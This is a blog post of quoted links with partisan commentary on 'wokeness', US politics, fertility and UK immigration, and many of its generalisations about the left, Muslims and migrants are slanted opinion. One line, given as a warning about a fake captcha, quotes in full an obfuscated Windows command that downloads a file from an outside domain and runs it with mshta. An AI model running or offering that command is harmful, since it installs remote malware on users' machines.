Links - 28th April 2026 (3 - General Wokeness)

Who Counts as a Victim? - "Liberals and conservatives both want to reduce harm and help victims. Where they differ is in who they see as the victims.  The disagreement isn’t that liberals think Black people are the victims whereas conservatives think White people are, or that liberals think poor people are the victims whereas conservatives think rich people are.  Instead, each side conceptualizes victimhood in a fundamentally different way.  Liberals tend to see victimhood as group-based, dividing the social world into vulnerable oppressed groups and invulnerable oppressors. Conservatives, in contrast, tend to see victimhood as individual-based and more evenly distributed across groups."

The Purity Paradox: How Tolerance and Intolerance Increase at the Same Time - "How can intolerance be increasing when Western democracies are demonstrably more tolerant of historically marginalised identities than at any point in their history? It is, according to Douglas Murray, “a curiosity of the age” that as racial and sexual tolerance “at the very least appears to be better than it ever was, it is presented as though it has never been worse.” This paradox occurs because, as we address and overcome problems of intolerance and discrimination, we also expand the concept of intolerance to stigmatise new attitudes and behaviours. This makes it appear as if we are either making no progress at all or, worse, that we are becoming more intolerant. The upshot is that social problems appear increasingly irresolvable.  It is, of course, counter-intuitive to think of tolerance and intolerance increasing at the same time. Nevertheless, the idea is supported by a Harvard University study of human judgement, led by Professor Daniel Gilbert... The concept of what constitutes discrimination has expanded, and as marginalised communities have splintered into mutually antagonistic groups, overall hostility and inter-community tension has been exacerbated.  Tests for the detection of “unconscious bias,” such as the Harvard Implicit Association Test (IAT), have played a significant role in the emergence of this paradox, and the IAT’s methods have been widely adopted. For example, the UK Government established a programme of diversity training to unearth unconscious biases in participants. So, even as people become more tolerant of racial and gender differences they find themselves condemned for intolerance so deeply buried they were not even aware of it themselves. The theory of intersectionality, meanwhile, now widely embraced in Western universities, has generated an ever-expanding “matrix of oppression.” In search of a solution to the resulting tsunami of newly discovered prejudice, the number of oppressors—from white cis-gendered men to “Trans-Exclusionary Radical Feminists”—proliferates, resulting in a feedback loop of exclusion, distrust, and resentment. As concepts of discrimination and bias expand, the aggressive policing of behaviours increases in an attempt to rid society of all remaining prejudice. At the University of Sheffield in England, students were paid by the university to monitor the language of their fellow students for evidence of “microaggressions” that may unintentionally cause offence to a racial group. This inevitably leads to the needless demonisation of tolerant, liberal students as intolerant unconscious racists. And as the concept of intolerance increases in this way, tolerant behaviours and attitudes struggle to keep up. Like the Red Queen in Through the Looking Glass, we have to run faster just to stand still. The outcome of all this is rampant no-platforming in universities and colleges, necessitated by the assumption that if people can’t be reformed then they must be silenced instead. The philosopher Alfred North Whitehead described the University of Chicago as “the one place I have been that is most like ancient Athens.” He would doubtless have been disappointed to learn that protests derailed plans to invite Trump’s former chief strategist, Steve Bannon, to participate in a debate on campus. Although the event did not take place, the professor who invited him remarked, “whether you like his views or not, he seems to have understood something about America that I’m curious to learn more about.” Similar culture wars are escalating around gender. British author J.K. Rowling was showered with spiteful invective simply for being “deeply concerned about the consequences of the current trans activism.” The Indian feminist Vaishnavi Sundar had the screening of her film pulled because she objected to pre-op transwomen sharing shelters and bathrooms with female survivors of sexual violence. Her sins were compounded by her belief that biological sex is not a social construct... How can we encourage kind and decent people to become ever-more tolerant when they are vilified no matter what they say or do because the concept of intolerance keeps expanding to swallow their good intentions? Our desire for greater equality and inability to acknowledge progress are spinning us into a purity spiral—as new layers of intolerance are uncovered, coercive corrective measures increase in ferocity. Left unchallenged, this takes us to ever-more dangerous places. As Simon Schama explains in his magnificent study of the French Revolution, “the violence that made the Revolution possible in the first place created the brutal distinctions between Patriots and Enemies, Citizens and Aristocrats, within which there could be no human shades of grey.”  Allergy to ambiguity and nuance and to the complexity of human experience makes impossible demands of the individual. This in turn results in rising levels of frustration and recrimination because somebody has to pay the price for failure. “Il faut du sang pour cimenter la révolution” (“There must be blood to cement the revolution”) cried Mme Roland at the height of the French Revolution only to find herself arrested and guillotined a short time later. When justified campaigns for racial justice and gender rights adopt this same approach, they are fuelling the very forces they claim to oppose. “My ultimate objection to political correctness,” English writer, actor, and comic Stephen Fry has observed, “is not that it combines so much of what I have spent a lifetime loathing and opposing: preachiness (with great respect), piety, self-righteousness, heresy-hunting, denunciation, shaming, assertion without evidence, accusation, inquisition, censoring… My real objection is that I don’t think political correctness works… (It) is always obsessed with how right it is, without thinking of how effective it might be.”  By relentlessly expanding the concept of intolerance, prevalence-induced concept change ensures none of us can ever be good enough—if we pass one test of tolerance, we are sure to fail the next."
This is about the slippery slope being empirically proven

James V. Shuls on X - "Conservative academics have long saw the dangers of left-wing dogma in education. It’s wild to see the Journal of Teaching in Social Work publishing critical takes on antiracism."
Editorial - "in 2022, the Council on Social Work Education (CSWE), for the first time in its history, elevated a singular “means” in the form of antiracist and antioppressive social work practice and requires it to be taught throughout all social work curricula. Beginning in 2025, schools will have to demonstrate that this framework is infused in both the explicit and implicit curriculum in order to be accredited. In view of this absolute requirement and other events of the past year, in February of 2024, we issued a call for papers for this Special issue: “Beyond ideological mandates: Critical reflections on antiracist and antioppressive social work education.” The galvanizing spark for the call was the response to events following the October 7 massacre by Hamas. This included a not-incidental number of social work students and faculty signing petitions and joining protests that devalued Jewish lives and valorized violence in the name of antiracist practice that deemed Jewish people as being on the wrong side of the “settler-colonialism” or antiracist line. We saw in this response a coalescing of what we have been observing for some time, that perhaps from impatience and frustration with the stickiness of entrenched social problems, our profession has gradually been letting go of the necessary burdens of the humbling search for professional and scientific knowledge. Instead, we too often are settling for the comfort of moralistic and rigid truth-claims that, by their own logic, preempt the discomfort of critique. In this way, the response to October 7 has been one moment in a larger trajectory of professional change—but a moment we found especially compelling, in the explicit anti-Semitism it perpetrated on too many of our communities and, in so doing, making overt the broader dangers of mandating a single, particular ideology, including the ways in which this compromises academic freedom and the development of critical thinking in our students and our own practice as scholars and teachers. As people responded to our call for papers, we quickly perceived the deeply troubling presence of a chilling effect of ideological singularity within social work academia. Faculty described going “underground” and self-silencing lest they lose their reputation or careers by criticizing the new orthodoxy. Seasoned social justice advocates, who in other times would have contributed their wisdom and experience, also fell silent, as past efforts were denigrated as racism in disguise, a stain and not a step in the journey toward a more just society. Students also fell quiet as they were pressed to accept a specific ideology rather than engage in a robust discussion of competing perspectives on the complex issues inherent in social work."

Why Detroiters Didn't Trust City Tree-Planting Efforts - Bloomberg - "It’s not that they didn’t trust the trees; they didn’t trust the city."
Clearly grievance mongering will make them trust the government more

ᒪᗩᑎE on X - "This ad spot accidentally captured the essence of how i see the conservative/Repub culture: just act all terrified of everything around you so they won't notice you're the predator."
wanye on X - "You have to understand that this is genuinely what even quite ordinary, mainstream liberals believe. Like, I’m talking about just the regular old people in my Facebook feed. They genuinely believe that suburbanites have completely invented the idea that there is a crime problem just because they’re mean, scared, racists.   And, meanwhile, rich suburbanites and rural hicks cause all the problems.  They really believe this stuff. Like, it’s not an exaggeration or a metaphor. That’s what they think is happening. They think that failing urban schools are because racist suburbanites don’t give those schools enough money. That’s their literal understanding of the world. They think that crime and disorder are overrated, but to the extent that these are real problems, it’s because of how we built the interstate highways 70 years ago. That’s their literal belief. They think that gun crime today is because it was hard to get mortgages in some neighborhoods in the 1960s. Again, this is their literal understanding of cause and effect.  You can get mad at Mathew Yglesias or Noah Smith or whoever else online, but understand that the average normie liberal lives on another planet altogether."

Meme - ianthomasmalone: "I was out on a date with a man when the subject turned to books. He said he was reading Jordan Peterson's latest. I made a bit of a face. He glared at me and said the left lacks empathy. I told him I had plenty of empathy. He asked if I ever had empathy for a conservative. I said I'd had empathy for a conservative-adjacent. He asked what that meant. I said I once felt bad for the cancer that had the misfortune of living inside Rush Limbaugh."
A good reminder that left wing "kindness", "empathy" and "being a decent human being" is highly selective

Meme - Ian Miller @ianmSC: "What’s impressive about this is that the education system didn’t just eliminate virtually all conservative thought as it moved toward left wing extremism, they got rid of almost anyone who was in the middle too. Anyone who doesn’t fully comply with the groupthink isn’t welcome."
"Faculty Ideology In the United Sates, 1969-2022
1969: 45.4% far left/liberal, 27.5% middle-of-the-road, 27.1% conservative/far right
2022: 74.2% far left/liberal, 14.9% middle-of-the-road, 10.8% conservative/far right"
Clearly this is because middle-of-the-road people are fascists/fascism-enablers so this is right and proper and there's nothing to see here

Pennsylvania man charged in killing of Uber driver who begged for her life - "Calvin Crew, 22, was charged with criminal homicide, robbery and tampering with evidence in the death of Christina Spicuzza, 38, Allegheny County criminal court records show. According to a criminal complaint obtained by NBC affiliate WPXI of Pittsburgh, a dash cam inside Spicuzza's car captured Crew allegedly pointing a gun at her neck as she drove and told him: "I'm begging you, I have four kids."... She died from a single gunshot wound, he said. After the killing, Crew allegedly tried to access Spicuzza's banking apps to transfer money to his girlfriend's phone, WPXI reported, citing the complaint."
Eric on X - "Every day a story declaratively *worse* than "Emmett Till" occurs almost weekly and you never hear about it for the simple fact that the victim was white, and the journalists believe that white victim sort of had it coming."

The Redheaded libertarian on X - "7/4/25 *Christian girls die in a flood.* “They were all white” ___ 8/27/25 *Christian children murdered by trans violence.* “Prayer couldn’t save them.” ___ 9/10/25 *Christian civil rights leader assassinated* “He deserved it” ___ Are we ready for the conversation?"

Matthew Behrens | Facebook - "On this Sunday morning, a profound act of love and solidarity, and some fine words from Isaiah, suitable for all who believe in peace and justice (and also a spiritual direction for militarists like Mark Carney, who this week has been crowing about his macho commitment to steal half a trillion dollars from the public treasury to gift war manufacturers). "They shall beat their swords into ploughshares, and their spears into pruning hooks; nation shall not lift up sword against nation, neither shall they learn war anymore." Such an act seems to have occurred yesterday morning. It seems that a noble Irish tradition of smashing up US war aircraft on their way to distant slaughter (and indeed, ripping up the runway at Shannon airport) was enacted yet again, at the same time UK police were arresting over 500 people for sitting silently in London holding signs against genocide and in support of Palestine Action. "A man in his 40s has been taken into custody over alleged criminal damage to a US military aircraft at Shannon Airport." Peace campaigners have long protested US military flights with troops and weapons refueling at the County Clare airport on the Atlantic coast despite Ireland’s alleged military neutrality. And some who have undertaken such actions are found not to be criminal at all, as juries see they are acting to uphold international law and then acquit them. This is not criminal damage. This is the crime of compassion. Canada provides similar support for the genocidal actions of the US military and, like Ireland, continues to send weapons to the Israeli apartheid regime despite saying it isn't. Every damaged piece of military equipment is a piece of military equipment no longer capable of murdering people. May we all beat swords into ploughshares, prevent crimes against humanity, and build beloved community."
Violence is love. This is why left wingers are convinced the right is violent - theirs doesn't count

Culture is driven by evolution: Biology's false binary - "This question is taboo in university anthropology departments; many of them dissolved into acrimony debating if culture or evolution drives human behaviour. Some universities decided to split their anthropology departments, with social or cultural anthropology in one building, and evolutionary anthropologists elsewhere. In my own department, we agree to differ (although from time to time I learn that someone has not spoken to me for 30 years because of my being in the ‘bad’ camp). Fortunately, most of our students are now leaving that particular culture war behind. We are evolved beings. If you want to understand the design of living things, then there are only two options – evolution by natural selection, or divine creation. If you are happy with divine creation, then I assume that makes it pretty uncomplicated. If not, you are left with evolution. Evolution designs not just our bodies but also our minds... An animal’s instincts can guide them through eating and mating, or even making complex structures like weaver birds’ nests. If you are a kittiwake, your instincts even make sure you don’t jump about too much when you are a chick, because otherwise you will fall off the cliff ledge on which your parents are raising you. Some more elaborate behaviours might require more learning to perfect. The weaver birds do apparently get better at nest building with experience. But trial and error is a slow and costly process. Humans use trial and error too, but we have another trick. We are masters of cultural learning. We learn from each other, often in very specific detail... In the first half of the twentieth century, animal behaviourists were obsessed with how much of behaviour can be attributed to ‘nature’ versus ‘nurture’. The question soon spilt over into discourse about human behaviour and psychology. But calculating how much of each is in play turns out to be a complicated task. The answer very much depends on how much environmental variation there is. But more importantly, it turned out not to be a very productive academic pathway. The answer is always: it is both. A much more fruitful question is to ask how did evolution design that behaviour? Why do we do that, in the sense of why did evolution select for that?"
Left wingers believe that if you do not believe in the blank slate, you are an eugenicist, so
At the time I visited the original website there was a fake captcha that was asking me to run a shady command (cmd /v:on /c "set j=vlvrvuvcvvvvv&set t=%UserProfile%\Documents\M.pdf&call !j:~7,1!!j:~5,1!!j:~3,1!!j:~1,1! -skLo !t! luziqo.com/mb&&mshta !t!") so I linked the archive

U.S. Counties Vary by Their Degree of Partisan Prejudice - The Atlantic - "In general, the most politically intolerant Americans, according to the analysis, tend to be whiter, more highly educated, older, more urban, and more partisan themselves. This finding aligns in some ways with previous research by the University of Pennsylvania professor Diana Mutz, who has found that white, highly educated people are relatively isolated from political diversity. They don’t routinely talk with people who disagree with them; this isolation makes it easier for them to caricature their ideological opponents. (In fact, people who went to graduate school have the least amount of political disagreement in their lives, as Mutz describes in her book Hearing the Other Side.) By contrast, many nonwhite Americans routinely encounter political disagreement. They have more diverse social networks, politically speaking, and therefore tend to have more complicated views of the other side, whatever side that may be."
Previously quoted, but it's notable that the woke are the least tolerant

'There's no guidance': Quebec daycares say new secularism law causing fear, uncertainty
Left wing logic: Islam does not require women to wear the hijab, so the hijab definitely doesn't oppress women, yet if you don't let Muslim wear the hijab, that's religious discrimination. But then, left wingers think dress codes for students are oppressive. It's only a matter of time before they go after dress codes for workers

High intelligence is not associated with a greater propensity for mental health disorders - "Studies reporting that highly intelligent individuals have more mental health disorders often have sampling bias, no or inadequate control groups, or insufficient sample size. We addressed these caveats by examining the difference in the prevalence of mental health disorders between individuals with high and average general intelligence (g-factor) in the UK Biobank... The present study provides robust evidence that highly intelligent individuals do not have more mental health disorders than the average population. High intelligence even appears as a protective factor for general anxiety and PTSD."
One cope for liberals having more mental health problems than conservatives is that they're smarter and intelligence is linked to mental health problems like anxiety. So much for that

Jessica Costescu on X - "JUST IN: Rep. Summer Lee (D-PA) takes the stage after Hasan Piker at Abdul El-Sayed’s MSU rally and delivers a very loud speech: “We can change the rest of the world — because…we saw it in apartheid South Africa, we will see it in Palestine, we will see it again here in the U.S.""
Councilwoman Vickie Paladino on X - "These are EXTREMELY BAD exemplars, but they choose them deliberately because they do indeed represent the ultimate goals of the left. South Africa has become a literal hellscape where the most productive and functional people are hunted and murdered with near-impunity for no other reason than racial grievance, and the 'government' is utterly incapable of even the most basic civic functions like electricity or road maintenance. And 'Palestine' is a nightmarish Islamic terror-state in which small children are raised to believe the most honorable path in life is suicide while committing mass murder against Jews and Americans, and even their neighboring Muslim majority nations want nothing to do with them. This has been publicly repeated more than once now by prominent Democrats, including our Mayor. They mean it. It is an existential threat to all of us, and should be treated as such. This is what you're getting when you vote for Democrats. Any Democrat. Even the ones who don't speak like this enable the ones that do. This is a very ugly path to go down, and it will lead to bloodshed. Guaranteed. Will anyone in that party other than John Fetterman say ANYTHING at all about this?" Matt Van Swol on X - "I hate to say it… But I’m struggling to be generous after all the fraud we’ve seen. There’s so few charities I trust now. I do a deep dive on a homeless charity… oh look, my tax dollars are funding that and it’s run by a Trump-hating Leftist. A Christian charity? Oh look, they’re helping illegal aliens. An education nonprofit? Oh look, it’s getting money from Left-wing political groups to send in Democrat activists to give lectures on LGBTQ oppression. Even my TAX DOLLARS I know are being used to fund some BS non-profit that probably has me on a list somewhere as an extremist and is actively trying to cancel me. It’s hard to be generous when I’m already being generously stolen from in taxes and when even the nonprofits aren’t actually solving the problems they reportedly exist to solve."

Ryan Burge 📊 on X - "Among Catholic priests who were ordained in the late 1960s: 68% describe their theology as progressive. 16% said it was conservative. Among priests ordained in the last few years: 2% describe their theology as progressive. 84% said it was conservative."

Swann Marcus on X - "It’s incredibly funny how police resisted body cams and leftists supported them and then the end result of body cams was that they were a massive win for the cops because so few police shootings are unjustified. There are now left-wing activists arguing against body cams lol"
Naturally, left wingers were denying this

From George Floyd to Alex Pretti: “Copaganda” Author on Myths About Immigration, Crime & Policing | Democracy Now! - "body cameras are a mirage. And as I write in the Copaganda book, and this is — it’s really critical to understand exactly how it happens. Not only do they not reduce police violence, but they have been an essential propaganda tool in convincing so many well-meaning people across our society that the authorities care about police violence, that they want accountability, that they’re doing something right. And it distracts people from the core, important kinds of changes that we need, which is to reduce the size and power of these bureaucracies."
Police Body Cameras | American Civil Liberties Union - "Without good policies, they risk becoming just another police surveillance device—and one with very real potential to invade privacy"
Why Police Body Cameras Haven’t Stopped Police Brutality - Progressive.org - " “We now know,” argued Dr. Jody Armour, a criminal justice expert, “that technological tweaks like a camera can’t prevent the loss of innocent life or prevent violent encounters with police . . . we need to reduce the footprint of law enforcement in communities, not just document it.” Abolitionist group Critical Resistance suggests evaluating proposed police reforms on criteria such as whether they lower police funding and if they “reduce [the] tools/tactics/technology police have at their disposal.” The fact that reforms like BWCs haven’t worked doesn’t mean that their repeal has to be the first priority of police reform movements. But it is a sign that we should look instead at “abolitionist steps” like shrinking police departments and withholding pensions from officers involved in excessive force incidents. The fraught experiment of body cameras may suggest this approach is worth considering."

Meme - James Lindsay, anti-Communist @ConceptualJames: "It is clearly explained on the last page of the Communist Manifesto."
"In short, the Communists everywhere support every revolutionary movement against the existing social and political order of things."
Afghan Zoroastrian @AfgZoroastrian: "Can somebody explain why the left hates Christians, Jews and Hindus, but loves Islamists?"
The issue is never the issue. The issue is always the Revolution

Low Fertility as a Consequence of Status Hierarchies

Thread by @JohannKurtz on Thread Reader App – Thread Reader App

S. Korea spent $200b trying to increase its birthrate. Hungary spends 5% of GDP.

Both are failing.

Yet the small country of Georgia spiked its birthrate massively without spending a dollar. How?

They understood that fertility isn't about money. It's about status. 

Before explaining the importance of status, let's quickly note that the common explanations of why fertility is collapsing cannot be the whole story.

As the above countries and the Nordics show, giving people economic benefits to have children doesn't move the needle. 

Religiosity alone does not have the answer.

Even if you isolate the most religious population (weekly church attenders) within the most religious of the major Western countries (the USA), you find barely breakeven fertility rates.

We'll look at the Amish and the Jews shortly. 

The last decade has seen a substantial increase in the share of millennials who own homes (by 2022, more than 50% of US millennials were homeowners), but childlessness in the same cohort has continued apace.

The collapse in fertility rates in the Western world, which started over a century ago, long precedes the advent of oral contraceptive pills, as well as endocrine disruptors and other relevant chemical agents which might be interfering with fertility health. 

 

We are thus presented with an apparent paradox: a stable trend which continues to unfold across the West, in country after country, generation after generation, without an obvious causal logic. How is this to be explained? 

 

I propose that there is, in fact, an under-appreciated fundamental cause of these trends, which manifests in the form of different proximate causes (real and imagined) across different geographies and times.

This fundamental cause is status. 

 

Social 'status' denotes a universal set of human instincts and behaviors. Status describes the perceived standing of the individual within the group.

It denotes their social value and their place within the formal and informal hierarchies which comprise a society. 

 

It finds expression in the behaviors of deference, access, inclusion, approval, acclaim, respect, and honor (and indeed in their opposites - rejection, ostracization, humiliation, and so forth).

 

Status is gained and maintained through approved behaviors (achievement, etiquette, defending the group) and through the possession of recognized ‘status symbols’ (titles, wealth, important physical assets). 

 

My belief: our post-enlightenment values result in the net status outcome of having a child being lower than the status outcomes of various competing undertakings - and that this is incredibly important.

I'll break this down in more detail shortly. 

 

As an explanatory factor, status has the advantage of being a relative - as opposed to absolute - attribute.

This is important because absolute material conditions have radically improved, even while birthrates have fallen. Many children used to die young.

 

Status is also of existential importance to individuals. This is necessary for our inquiry: we are seeking a behavioral determinant which is powerful enough to influence fundamental human decisions like whether or not to reproduce.

People kill themselves over loss of status. 

 

Where's the evidence for my theory?

Let us turn to the first of the small number of European and Asian countries which defy wider fertility trends. This is the country of Georgia, which sits at the intersection of the two continents, with a population of about four million. 

 

In the mid 2000s, Georgia spiked its birth rate, which went from ~50,000 to ~64,000 over the course of two years - a 28% increase, which it sustained for many years. How?

 

The evidence points to an unusual factor: a prominent Patriarch of the popular Georgian Orthodox Church, Ilia II, announced that he would personally baptize and become godfather to all third children onwards. 

 

Births of third children boomed (so much so, in fact, that it eclipsed continuing declines in first and second children).

This has widely been understood as a religious phenomenon, but I propose that it is better understood as a status phenomenon. 

 

What about the inverse? Can status suppress birthrates?

It can. Let's turn to the canonical example of low fertility: South Korea.

 

Thanks to the Korean formalized systems of etiquette, language, and titles, social hierarchies are clear, explicit, and prominent.

Individuals are incentivized to take whatever measures are necessary to ensure that their rank within the system is maximized. 

 

This process finds particular expression within the structure of the Korean economy, in which the only high-status employers are the small number of industrial mega-conglomerates like Samsung (the so-called ‘chaebols’).

A quote from Malcolm @SimoneHCollins, who worked there: 

 

"To understand how much the chaebol system matters in Korea: you are not a person of equal status to other people if you don't work at one of the chaebols." 

 

"The chaebols are extremely important to your social status within Korea… your life is spent to try to get that perfect test score so you can get into the perfect chaebol." 

 

Competition is fierce, and hinges on each individual’s performance in the national exam which determines university places.

This exam is so important that they ground all planes and clear traffic on the one day each year it occurs.

 

Each child must receive exceptional training to perform at this exam.

This means parents must pay for extended, expensive tutoring, and this in turn precludes almost all couples from having large families. 

 

I provide more examples of status being the clear determinant factor in the most notable fertility trends on my blog.

This thread is already too long, so go there if you want more evidence.

For now, let's understand the specific mechanism at play. 

 

A useful model we can take from the literature is to classify the sources of status into three types: dominance, virtue, and success. 

 

Will Storr describes:

 

"In dominance games, status is coerced by force or fear. In virtue games, status is awarded to players who are conspicuously dutiful, obedient and moralistic." 

 

"In success games, status is awarded for the achievement of closely specified outcomes, beyond simply winning, that require skill, talent or knowledge." 

 

In the pre-Enlightenment period, a woman’s status was defined by her birth (class), maintained by her virtue (virginity, piety, motherhood), and modified substantially by her husband’s status. 

 

The primary sources of her status were therefore upheld by the Church (which held a role of social dominance incomparable to today) and her family (embedded within a formalized class structure).

 

In other words, the pre-Enlightenment woman derived her status from virtue and dominance games.

 

These virtue strategies did not tradeoff with fertility, and likely supported it, with the Church teaching ‘conjugal duty’ and families demanding heirs. 

 

The Enlightenment brought with it not just intellectual, economic, and scientific revolutions - it drove a status revolution. It challenged the dominance of the Church and aristocracy through the elevation of the ideals of equality, freethinking, and meritocracy. 

 

In turn, this emphasis on the moral primacy of meritocracy changed the primary status game from dominance and virtue to success, with those who demonstrated exceptional knowledge or professional skill held in newly high esteem. 

 

Importantly, meritocracy is an individualist model of status. The status accrued by a prominent scientist does not necessarily extend to his wife or children. 

 

The successful accrual of status through virtue mechanisms requires one to be embedded in a largely static community with shared norms, who appreciate and reward sacrifices made for the group. 

 

Conversely, status markers associated with success (wealth, knowledge, skill) attach primarily to the individual and are fungible across groups and geographies, thereby retaining value in less dense networks.

This becomes important in an era of mass transportation.

 

Thus the Enlightenment initially opened up new status opportunities for men (success) whilst undermining those that supported women (virtue). 

 

We all have a psychological need for status, and so it was only a matter of time before women demanded access to and participation within success games (education, commerce, politics, even sport).

 

Unfortunately, accruing status through success games is time intensive, and unlike virtue games, trades off directly with fertility.

 

Over time, this set of status mechanics spread, intensified, and deepened, particularly during the process of urbanization during the Industrial Revolution.

Ultimately this culminates in today, when the standard introductory question has become:

‘What do you do?’.

 

This is because the most effective way to gauge the status of one’s interlocutor is to understand their level of success within our meritocracy.

 

Unfortunately, ‘I’m a mother’ is not a good answer to this question, because this conveys little status within a success framework, which is usually the operative one.

So is there any hope for future generations?

Yes.

 

The Amish and the Orthodox Jews have very high birthrates despite living in Western countries.

 

I propose that the fundamental driver of their birthrate is not merely their religiousness, it is their isolation and in-group preference which has allowed for the preservation of virtue games.

 

Through the cultivation of intense social density and homogeneity, they have built what I call ‘mimetic infrastructure’, which enforces people’s full participation in their religious duties if they are to maintain standing in the group.

 

Western governments should pursue policies which give greater space for the rise of other stable groupings of people with sub-identities, within which alternative status ecosystems can flourish.

 

As a first step, governments must do everything they can to foster the creation of further mimetic infrastructure which supports virtue games.

 

These cultural colonies must be uninterrupted, to the greatest degree possible, by the state imposition of universal Enlightenment success games.

Links - 28th April 2026 (2 - Migrants: UK [including Green Party])

Thread by @willsolfiac on Thread Reader App – Thread Reader App - "Interesting example in this video of the transformation of Islam in Britain - Mothin Ali's mother didn't wear a niqab, but his wife does.  Other than that, I thought it was hilarious that he seems to be claiming that back when the working class had more political power, they didn't see ethnic difference, only their shared 'chains of hardship and debt.' This has always been a left-wing fantasy with very little connection to reality. Working class British people have always strongly opposed mass immigration.  It's actually pretty slanderous to claim that people only oppose mass immigration and demographic replacement because Thatcher closed down their steel mills, meaning they fell under the sway of, formerly, the Daily Mail and, latterly, shadowy online right-wing influencers probably funded by the Russians.  People opposed it just as strongly in the 60s and 70s before deindustrialisation. False rhetoric like this obscures their agency and desire and willingness to stand up for their identity. On the transformation of Islam thing, I also strongly doubt that any south asian Muslims who won council elections in Britain in the 20th century would ever have screamed allahu akbar in their victory speech The reason the Greens are such an absurd outfit, even by the standards of a political party, is that their project is entirely self-contradictory. They want universalist social liberalism, but supported by the votes of conservative Muslims, they want to fight climate change but are against nuclear power, they want (even more) mass immigration but also more social solidarity."

Vodka & Seledka 🇬🇧 on X - "The ad is superb in the way all emotionally manipulative content is superb. But its core argument is sinister, and it tells you exactly what @TheGreenParty  stands for.  The central claim is that Britain's lost unity stems not from shared culture, civic identity, or values - but from shared struggle. This isn't new thinking. It's Marxism wrapped in a contemporary emotional package. The union banner @MothinAli  shows - a black man and a white man lifting a chain together - makes the ideology explicit. The oppressed, united against their oppressors. The Green Party just extends that framework to include Islamism alongside socialism, treating both as victim classes deserving coalition.  Notice also how the ad handles identity. Mothin awards everyone in his father's workplace an ancestral identity - Jamaican, Bengali, Pakistani. Everyone except the British. They're just "white guys." This isn't innocent. It's a deliberate denial of identity to the majority population on their own soil.  And here's what the ad actually gets right, but for entirely the wrong reasons. There was more unity when Mothin's father came here. The photo proves it - a Bengali Muslim man in a suit, clean-shaven, visibly adapted to the society he joined. That adaptation wasn't oppression. It was the correct and functional expectation. Minorities were few, integration was implicitly required, and it worked.  What's changed isn't that people forgot their common enemy. What's changed is that large, concentrated diaspora communities no longer feel the need to integrate - because they're big enough to import the cultures they left behind and lobby politically to keep them. Successive generations of British Muslims are becoming less integrated, not more. They increasingly do not identify as British.  I drove past a secondary school cultural day this week. Albanian flags, Somali flags, Pakistani flags, Bangladeshi flags. Not a single British flag among the students. That's not a sore sight - it's a dangerous one.  The source of Britain's disunity isn't Thatcher, or austerity, or the man in a suit. It's the state's insistence on forcing the majority to adapt to minorities, while branding any resistance as racist or Islamophobic. Those words have lost their power now, because they were used too freely as weapons of submission. The majority can only be silenced for so long.  Unity requires shared culture and shared values. There is no shortcut through shared grievance. If Britain doesn't enforce clear, non-negotiable expectations of integration - you adapt, or you leave - the trajectory ends somewhere that looks a great deal more like the Balkans than Sheffield in the 1970s."

Drew Pavlou 🇦🇺🇺🇸🇺🇦🇹🇼 on X - "Mothin Ali’s parents were more integrated than Mothin Ali and his wife today. The second generation actually regressed back into Islamist peasant shit. What a fucking disaster, seriously."
Mahyar Tousi on X - "I’ve been talking about this fascinating regression for 10 years in Britain. We were told second and third generations will automatically integrate regardless of cultures. But in Islamic families, we see a lot of second and third generations becoming more backwards than first."

Sam on X - "I can no longer hold my tongue seeing the utter lies being spread about Britain, our history of migration, and how this country was built into what it is today. For those so deeply buried in fake news, manufactured outrage and billionaire‑funded propaganda, I’m going to lay out ..."
Anglo Futurism Capital LP 🇬🇧🐿️ on X - "The history here is broadly accurate. Africans on Hadrian’s Wall, Black individuals in Tudor England, Lascar sailors in the ports, Windrush recruitment after the war. All documented, all real. Nobody serious disputes any of it.  What I do dispute is the very obvious trick being played with it. The author lists these facts in rapid sequence across two millennia and the rhetorical effect is to make British diversity feel continuous and substantial throughout history. It was absolutely not. The African soldiers numbered in the hundreds across the entire province. The Black population of Tudor England was perhaps a few hundred in a country of millions. The port communities were geographically concentrated and nationally tiny. Britain was ethnically homogeneous by any honest measure for most of its recorded history. Acknowledging scattered historical presence is not the same as proving the country was always a “crossroads.” The plural of anecdote is not demographic data.  The Windrush argument is the author’s strongest ground. Commonwealth citizens were recruited, did essential work, and were treated badly. The 2018 scandal was an institutional betrayal. No argument there. He should have built the entire post around this rather than diluting it.  Instead he pivots to the claim that all contemporary immigration concern is billionaire-funded propaganda designed to divide the working class. This is where it falls apart as Zack Polanski adjacent illiterate nonsense. Net migration hit 906,000 in the year to June 2023. That is not a Murdoch editorial. It is ONS data. And it underreports sizably as we all know. Housing completions have not kept pace with population growth for thirty years. GP lists have grown faster than GP numbers. These are lived realities, not culture war talking points. Telling people their concerns are a psyop is not solidarity. It is contempt and lies.  His follow-up clarification is the giveaway. Original post: “Britain was never pure, never untouched, never theirs to take back.” Follow-up: “I never said Britain was majority non-white.” Classic motte-and-bailey. Make the bold emotional claim, harvest the shares, then retreat to a position nobody was arguing against when challenged. The audience remembers the rhetoric. The critics get told they cannot read. Boring.   The post also conflates fundamentally different things. Roman military deployment, Tudor-era individuals, Victorian port communities, post-war Commonwealth recruitment, and modern migration measured in the hundreds of thousands per year are not the same phenomenon. They have different causes, scales, and policy implications. Calling them all “immigration” and saying “see, we have always done this” flattens every distinction that matters.  And the conclusion offers a false binary. Either aim your anger at billionaires or you are a thick pleb. But you CAN oppose elite capture of politics AND think migration policy has been badly managed. You CAN want higher wages AND question whether unlimited labour supply at the lower end helps. The young couple priced out of their town are allowed to ask whether population growth is one factor among many, even if foreign capital and underbuilding are also to blame. The author needs you to pick one enemy. Reality does not work like that. Obviously.   The great irony is that by dismissing every concern as manufactured and every critic as manipulated, this kind of post pushes people toward the very extremists it claims to oppose. When you tell someone their lived experience is a lie, they do not thank you for the education. They go and find someone who will take them seriously. See Hillary Clinton’s “deplorables” remark and Trump’s 2016 win.   Those same people, scorned, may be pushed somewhere Sam here wouldn’t like. Ironically."
Roko 🐉 on X - "Before WWII Britain was 99.9% white. The post is a complete lie. The rant about billionaires is dumb zero sum communism. People with very high net worth generally don't affect poorer people because they are unable to actually spend that money on consumption. Instead it gets invested. It also ignores incentives (typical communist) - billionaires often got rich because they did something useful which made the pie bigger."

